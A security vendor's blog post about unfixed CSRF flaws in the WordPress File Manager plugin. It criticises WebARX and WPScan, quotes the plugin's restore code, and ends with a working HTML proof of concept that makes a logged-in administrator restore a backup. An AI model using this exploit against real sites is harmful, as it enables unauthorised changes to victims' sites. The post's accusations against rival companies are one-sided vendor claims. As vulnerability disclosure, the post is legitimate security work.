When we mentioned the web security provider WebARX provider back in March it was in the context of their service providing less protection against a WordPress plugin vulnerability than simply keeping plugins up to date, while they made it seem otherwise. That is a pretty big issue when their service is prominently promoted with the claim that it can “Protect websites from plugin vulnerabilities”, as can be seen on their homepage:

What we have seen of them since then hasn’t been good, as they seem to combine a limited amount of security knowledge with a lack of concern for telling the truth. That unfortunately will take you far as a security business these days, but it is quite harmful to the effort to actually improve the security of websites.

In the latest incidence of their limited amount of security knowledge, it led to them exposing multiple unfixed vulnerabilities in a WordPress plugin without apparently realizing it.

The Missing Nonce Check

Back in April the developer of the plugin Duplicate Page, which currently has 900,000+ installs, finally fixed vulnerabilities we had warned them about multiple times a year and half before. That isn’t a great sign about their concern for security, so you probably wouldn’t want to be using a plugin from them that involves file management and backup functionality, but they have a plugin that does just that, which has 400,000+ installs.

That brings us back to WebARX, as they today disclosed that plugin, File Manager, contained multiple vulnerabilities. When we started looking over that to add the vulnerabilities to our data set for our service to help protect against WordPress plugin vulnerabilities we noticed something was missing. Here is part of their post:

The multiple vulnerabilities exist due to not checking the authentication of the user properly in the wp_ajax_* action calls. By default, the wp_ajax_* actions that do not start with wp_ajax_nopriv_* only require the user to be logged in, but the user does not have to be an administrator.

Depending on what is being done with those AJAX requests there should also be protection against cross-site request forgery (CSRF), as otherwise an attacker could cause someone logged in with the proper permission to take actions they didn’t intend to. While that should not be used in place of a capabilities check, it will usually provide the equivalent of that as long access to the nonce is restricted to the intended users. That isn’t an obscure issue, so WebARX should know about it, and yet it never comes up in their post. If they didn’t they wouldn’t be the only web security company with a WordPress focus that recently has shown they don’t have a great understanding of the field they are in, as it was only two months we ran across the company Wordfence (aka Defiant) apparently being unaware of that.

Their post also doesn’t explain at all how the vulnerability was fixed or provide a proof of concept for any of the vulnerabilities, making it harder for others to double check their claims. As we saw last week with another similar in many ways web security company, Sucuri, that is important as vulnerabilities may have not been fixed.

Looking at the changes made in version 4.9, which the WebARX post seems to indicate fixed this, and 5.0, we didn’t see any indication the CSRF portion of the issue was resolved. Testing things out with the latest version, 5.0, confirmed that there are still CSRF vulnerabilities.

As an example of that let’s look at the function used to restore a backup, mk_file_manager_single_backup_restore_callback(). Here is the code the runs in that before the code that handles the restoration as of version 5.0:

85
86
87
88
89
90
91
92
93

public function mk_file_manager_single_backup_restore_callback() {
	if(current_user_can('manage_options')) {
	global $wpdb;
	$fmdb = $wpdb->prefix.'wpfm_backup';
	$upload_dir = wp_upload_dir();
	$backup_dirname = $upload_dir['basedir'].'/wp-file-manager-pro/fm_backup/';
	$bkpid = (int) $_POST['id'];
	$result = array();
	$filesDestination = ABSPATH . 'wp-content/';

There is now a capabilities check in that:

86

if(current_user_can('manage_options')) {

But there still isn’t a nonce check to prevent CSRF, so an attacker could cause a logged in Administrator to restore a backup without intending it. Interestingly when you do a restore through the plugin’s relevant admin page it sends a nonce, so that just needs to be checked by the code.

If there really was an SQL injection vulnerability in one of the AJAX functions as WebARX claims (more on that on Friday), then then the code as hasn’t been changed to prevent that.

London Isn’t in Estonia

One other quick note about WebARX while they promote themselves as being based in London (again from the homepage):

And in a comment in our previous post about them. The link to the WordPress Plugin Directory page for the File Manager plugin in their post links to the Estonian version of the WordPress website. That isn’t surprising since they actually appear to be an Estonian company. We don’t know why they would feel the need to mislead people about where they are based, but like we said before, they seem to have a lack of concern for the truth, which seems important for any security company.

The WPScan Vulnerability Database Again Gets Things Wrong

As is so often the case, a popular competing data source to ours the WPScan Vulnerability Database claimed that the vulnerabilities had been fixed, when as we just noted they haven’t:

Getting data on vulnerabilities in WordPress plugin isn’t much good if the source is incorrectly telling you that unfixed vulnerabilities have been fixed, which is why we actually review reports before adding them to our data set to avoid that.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will restore the backup with ID number 1, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=mk_file_manager_single_backup_restore" method="POST">
<input type="hidden" name="id" value="1" />
<input type="submit" name="wpgmza_save_rectangle" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?